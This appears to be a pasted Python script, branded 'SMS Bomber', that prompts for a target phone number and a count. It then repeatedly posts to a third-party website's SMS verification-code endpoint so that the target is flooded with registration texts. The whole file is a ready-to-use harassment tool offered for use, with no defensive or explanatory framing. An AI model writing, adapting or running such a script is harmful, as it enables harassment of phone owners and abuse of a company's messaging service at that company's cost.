Untitled
unknown
python
3 years ago
1.1 kB
9
Indexable
import os
os.system('pip install requests')
os.system('pip install json')
os.system('pip install termcolor')
import requests
import json
from termcolor import colored
os.system('clear || cls')
logo = """
_____ _____ _
| __| _____ ___ | __ | ___ _____ | |_ ___ ___
|__ || ||_ -|| __ -|| . || || . || -_|| _|
|_____||_|_|_||___||_____||___||_|_|_||___||___||_|
\nby Justine Agcanas"""
print (colored(logo, color = 'magenta'))
print(colored('\nEnter The Number Of Target = ',color = 'magenta'),end='')
number = int(input())
print(colored('\nEnter The Number To Spam = ',color = 'magenta'),end='')
times = int(input())
print ('\n\n')
url = "https://www.bainpeph.com/api/sms/sendSMSCode"
querystring = {"phone":number,"dest":"63","type":"register","lang":"en"}
for x in range(times):
resp = requests.post(url, data=querystring)
c = resp.text;
p = json.loads(c)
x +=1
print(x,colored(p['code_dec'],color = 'magenta'))Editor is loading...